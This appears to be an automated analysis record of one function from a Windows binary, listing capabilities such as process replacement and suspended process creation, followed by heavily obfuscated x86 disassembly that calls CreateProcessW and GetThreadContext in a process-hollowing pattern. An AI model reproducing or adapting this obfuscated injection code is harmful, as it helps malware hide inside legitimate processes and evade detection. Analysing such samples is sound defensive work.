Function at 0x100031d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], 0xc4b0e224
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x8150ccb4
je 0x1000aa8a
jmp 0x1000320c
mov eax, dword [ebp - 0x124]
sub eax, 0x8181312b
je 0x10007224
jmp 0x10003222
mov eax, dword [ebp - 0x124]
sub eax, 0x82080fd4
je 0x100085c8
jmp 0x10003238
mov eax, dword [ebp - 0x124]
sub eax, 0x82626385
je 0x1000aa00
jmp 0x1000324e
mov eax, dword [ebp - 0x124]
sub eax, 0x8279c65c
je 0x10008161
jmp 0x10003264
mov eax, dword [ebp - 0x124]
sub eax, 0x834848d8
je 0x1000a9a3
jmp 0x1000327a
mov eax, dword [ebp - 0x124]
sub eax, 0x834a165e
je 0x1000a9f1
jmp 0x10003290
mov eax, dword [ebp - 0x124]
sub eax, 0x838af696
je 0x10008e86
jmp 0x100032a6
mov eax, dword [ebp - 0x124]
sub eax, 0x83ba471d
je 0x10005f59
jmp 0x100032bc
mov eax, dword [ebp - 0x124]
sub eax, 0x852cbdf0
je 0x10007994
jmp 0x100032d2
mov eax, dword [ebp - 0x124]
sub eax, 0x86517565
je 0x10005868
jmp 0x100032e8
mov eax, dword [ebp - 0x124]
sub eax, 0x868ac867
je 0x100056cc
jmp 0x100032fe
mov eax, dword [ebp - 0x124]
sub eax, 0x87d13e7e
je 0x1000a0bc
jmp 0x10003314
mov eax, dword [ebp - 0x124]
sub eax, 0x88d8c691
je 0x10006df7
jmp 0x1000332a
mov eax, dword [ebp - 0x124]
sub eax, 0x8942477a
je 0x10005e84
jmp 0x10003340
mov eax, dword [ebp - 0x124]
sub eax, 0x8978106e
je 0x10009c0f
jmp 0x10003356
mov eax, dword [ebp - 0x124]
sub eax, 0x897c5b4e
je 0x10007d9e
jmp 0x1000336c
mov eax, dword [ebp - 0x124]
sub eax, 0x8a18c4da
je 0x10005f1d
jmp 0x10003382
mov eax, dword [ebp - 0x124]
sub eax, 0x8a7edfa6
je 0x1000a9e2
jmp 0x10003398
mov eax, dword [ebp - 0x124]
sub eax, 0x8af06c31
je 0x10007a48
jmp 0x100033ae
mov eax, dword [ebp - 0x124]
sub eax, 0x8b035b37
je 0x1000737a
jmp 0x100033c4
mov eax, dword [ebp - 0x124]
sub eax, 0x8b4bdd49
je 0x10006733
jmp 0x100033da
mov eax, dword [ebp - 0x124]
sub eax, 0x8bff6bd4
je 0x10005a49
jmp 0x100033f0
mov eax, dword [ebp - 0x124]
sub eax, 0x8c506690
je 0x10009a27
jmp 0x10003406
mov eax, dword [ebp - 0x124]
sub eax, 0x8c92904a
je 0x10005708
jmp 0x1000341c
mov eax, dword [ebp - 0x124]
sub eax, 0x8cfc1446
je 0x100095be
jmp 0x10003432
mov eax, dword [ebp - 0x124]
sub eax, 0x8d2c0b67
je 0x100058e2
jmp 0x10003448
mov eax, dword [ebp - 0x124]
sub eax, 0x8d3c9878
je 0x1000a5d9
jmp 0x1000345e
mov eax, dword [ebp - 0x124]
sub eax, 0x8d53c4cb
je 0x1000a841
jmp 0x10003474
mov eax, dword [ebp - 0x124]
sub eax, 0x8f987b80
je 0x1000a579
jmp 0x1000348a
mov eax, dword [ebp - 0x124]
sub eax, 0x91de4c77
je 0x1000935f
jmp 0x100034a0
mov eax, dword [ebp - 0x124]
sub eax, 0x929a4e1d
je 0x10007f39
jmp 0x100034b6
mov eax, dword [ebp - 0x124]
sub eax, 0x9319928e
je 0x10006d52
jmp 0x100034cc
mov eax, dword [ebp - 0x124]
sub eax, 0x93981673
je 0x10008fca
jmp 0x100034e2
mov eax, dword [ebp - 0x124]
sub eax, 0x93f5deb2
je 0x10009f68
jmp 0x100034f8
mov eax, dword [ebp - 0x124]
sub eax, 0x95d95ca7
je 0x100072fa
jmp 0x1000350e
mov eax, dword [ebp - 0x124]
sub eax, 0x96ac8e6e
je 0x1000729a
jmp 0x10003524
mov eax, dword [ebp - 0x124]
sub eax, 0x973e672d
je 0x10008497
jmp 0x1000353a
mov eax, dword [ebp - 0x124]
sub eax, 0x97455f29
je 0x100077e3
jmp 0x10003550
mov eax, dword [ebp - 0x124]
sub eax, 0x97c5080d
je 0x10009d29
jmp 0x10003566
mov eax, dword [ebp - 0x124]
sub eax, 0x9a6a3c71
je 0x10006560
jmp 0x1000357c
mov eax, dword [ebp - 0x124]
sub eax, 0x9b4c9106
je 0x10005b03
jmp 0x10003592
mov eax, dword [ebp - 0x124]
sub eax, 0x9c7e7a74
je 0x10008c07
jmp 0x100035a8
mov eax, dword [ebp - 0x124]
sub eax, 0x9d141d65
je 0x10005f3a
jmp 0x100035be
mov eax, dword [ebp - 0x124]
sub eax, 0x9de99731
je 0x10008255
jmp 0x100035d4
mov eax, dword [ebp - 0x124]
sub eax, 0x9f4cd88b
je 0x10008226
jmp 0x100035ea
mov eax, dword [ebp - 0x124]
sub eax, 0x9fd583ab
je 0x1000a6be
jmp 0x10003600
mov eax, dword [ebp - 0x124]
sub eax, 0x9ff120d5
je 0x10008a45
jmp 0x10003616
mov eax, dword [ebp - 0x124]
sub eax, 0xa0599abd
je 0x10007d30
jmp 0x1000362c
mov eax, dword [ebp - 0x124]
sub eax, 0xa0a0fad6
je 0x10007811
jmp 0x10003642
mov eax, dword [ebp - 0x124]
sub eax, 0xa0f0ea73
je 0x10008c86
jmp 0x10003658
mov eax, dword [ebp - 0x124]
sub eax, 0xa153418c
je 0x10006724
jmp 0x1000366e
mov eax, dword [ebp - 0x124]
sub eax, 0xa1c638ec
je 0x1000a947
jmp 0x10003684
mov eax, dword [ebp - 0x124]
sub eax, 0xa2039341
je 0x10008008
jmp 0x1000369a
mov eax, dword [ebp - 0x124]
sub eax, 0xa2548b53
je 0x1000657f
jmp 0x100036b0
mov eax, dword [ebp - 0x124]
sub eax, 0xa31ad5e7
je 0x10005755
jmp 0x100036c6
mov eax, dword [ebp - 0x124]
sub eax, 0xa3ca735a
je 0x100098a6
jmp 0x100036dc
mov eax, dword [ebp - 0x124]
sub eax, 0xa3dbe33b
je 0x10005cec
jmp 0x100036f2
mov eax, dword [ebp - 0x124]
sub eax, 0xa41c2218
je 0x10007c65
jmp 0x10003708
mov eax, dword [ebp - 0x124]
sub eax, 0xa488f884
je 0x1000a0cb
jmp 0x1000371e
mov eax, dword [ebp - 0x124]
sub eax, 0xa4a9eee7
je 0x10006b25
jmp 0x10003734
mov eax, dword [ebp - 0x124]
sub eax, 0xa6b26828
je 0x1000aa5d
jmp 0x1000374a
mov eax, dword [ebp - 0x124]
sub eax, 0xa714c4cc
je 0x10006636
jmp 0x10003760
mov eax, dword [ebp - 0x124]
sub eax, 0xa8d0cde3
je 0x1000768f
jmp 0x10003776
mov eax, dword [ebp - 0x124]
sub eax, 0xa98bb6e6
je 0x1000a7b6
mov dl, 1
mov eax, 0x4cce7352
mov ecx, 0x6553ab9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x120], 0x1db9df34
jmp 0x1000ae6d
mov dl, 1
mov eax, 0x717e55d2
mov ecx, 0x5a0af20e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x717e55d2
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x43050105
jmp 0x1000ae6d
mov dl, 1
mov eax, 0x43b46fcb
mov ecx, 0xd3f9057d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xfc0066f2
sub edx, 1
sub edx, 0xfc0066f2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9fd583ab
mov ecx, 0xfb5e66ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x382af80d
sub edx, 1
add edx, 0x382af80d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ac8d54a
mov ecx, 0xd5b3abdd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x120], 0xd33d9991
jmp 0x1000ae6d
mov dl, 1
mov eax, 0xad146805
mov ecx, 0x9d141d65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
movss xmm0, dword [0x10018364]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x120], 0x83ba471d
jmp 0x1000ae6d
movss xmm0, dword [0x10018360]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x120], 0xad146805
jmp 0x1000ae6d
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x120], 0xa2548b53
jmp 0x1000ae6d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bf48961
mov ecx, 0xeae4a37d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x1001832c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x120], 0xaa595910
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x8b4bdd49
jmp 0x1000ae6d
movss xmm0, dword [0x10018328]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x120], 0xbe01b4c3
jmp 0x1000ae6d
movss xmm0, dword [0x1001830c]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x120], 0x68d303a6
jmp 0x1000ae6d
movss xmm0, dword [0x10018304]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10018300]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x120], 0xfedcc154
jmp 0x1000ae6d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xfc72003c
sub edx, 1
add edx, 0xfc72003c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1f93703
mov ecx, 0xfc109dfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xe1f414e0
sub edx, 1
sub edx, 0xe1f414e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7851e40b
mov ecx, 0x96ac8e6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xd2150fed
jmp 0x1000ae6d
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xbf6fded0
sub edx, 1
sub edx, 0xbf6fded0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28714245
mov ecx, 0xb219c810
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5693e9ed
mov ecx, 0x598b777d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x990fa4e4
sub edx, 1
sub edx, 0x990fa4e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe364af2d
mov ecx, 0x5402091a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xdb65cd0d
jmp 0x1000ae6d
mov dl, 1
mov eax, 0x31c8941
mov ecx, 0x22f59222
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
movss xmm0, dword [0x100182c0]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100182bc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x120], 0xc529990
jmp 0x1000ae6d
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x8e9eb7df
sub edx, 1
add edx, 0x8e9eb7df
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x834848d8
mov ecx, 0xdfbb207f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x5ecf6118
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x834a165e
mov ecx, 0x897c5b4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x190ffe8f
jmp 0x1000ae6d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x9a893eb3
sub edx, 1
sub edx, 0x9a893eb3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f9f563a
mov ecx, 0x22a246b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x37c68ea4
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x5a2c0ee7
jmp 0x1000ae6d
movss xmm0, dword [0x10018268]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10018264]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x120], 0x9de99731
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa6b26828
mov ecx, 0x23dedb90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x61734acf
sub edx, 1
sub edx, 0x61734acf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e5c5597
mov ecx, 0x50f780a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x84b4e223
sub edx, 1
sub edx, 0x84b4e223
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8150ccb4
mov ecx, 0x492fe72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xe0af9b3b
jmp 0x1000ae6d
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ax, word [eax]
mov word [ebp - 0x9e], ax
mov dword [ebp - 0x120], 0x325229f3
jmp 0x1000ae6d
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x120], 0xf69c4cdd
jmp 0x1000ae6d
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0xac68b2ae
mov ecx, 0x2f2ba2d8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [ebp - 0x90]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x720f341d
sub edx, 1
add edx, 0x720f341d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e2ddb0b
mov ecx, 0x76d503fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x120], 0xaf886003
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x338951d0
sub edx, 1
add edx, 0x338951d0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd89acd5
mov ecx, 0xfb99c4ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0x120], 0xecfb9b95
jmp 0x1000ae6d
mov edx, dword [ebp - 0x40]
mov eax, 0x3456662a
mov ecx, 0xd262c998
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xb7b69ed7
jmp 0x1000ae6d
mov dl, byte [ebp - 0x35]
mov eax, 0x4239c582
mov ecx, 0x5f3edec9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x120], 0x1c846e28
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xa488f884
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x6d9cfa14
sub edx, 1
sub edx, 0x6d9cfa14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x368adb13
mov ecx, 0x6c6ada79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xac0b5ebf
jmp 0x1000ae6d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xf93c8832
sub edx, 1
add edx, 0xf93c8832
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfae983f0
mov ecx, 0xee4a0500
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x9b4c9106
jmp 0x1000ae6d
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x120], 0x5ac4362
jmp 0x1000ae6d
movss xmm0, dword [0x100181b8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x120], 0xd70a5077
jmp 0x1000ae6d
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x120], 0x8af06c31
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x5ead94b6
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0xa0599abd
jmp 0x1000ae6d
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x120], 0x691af190
jmp 0x1000ae6d
mov dword [ebp - 0x120], 0x23dedb90
jmp 0x1000ae6d
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x120], 0x492fe72
jmp 0x1000ae6d
jmp 0x100031f0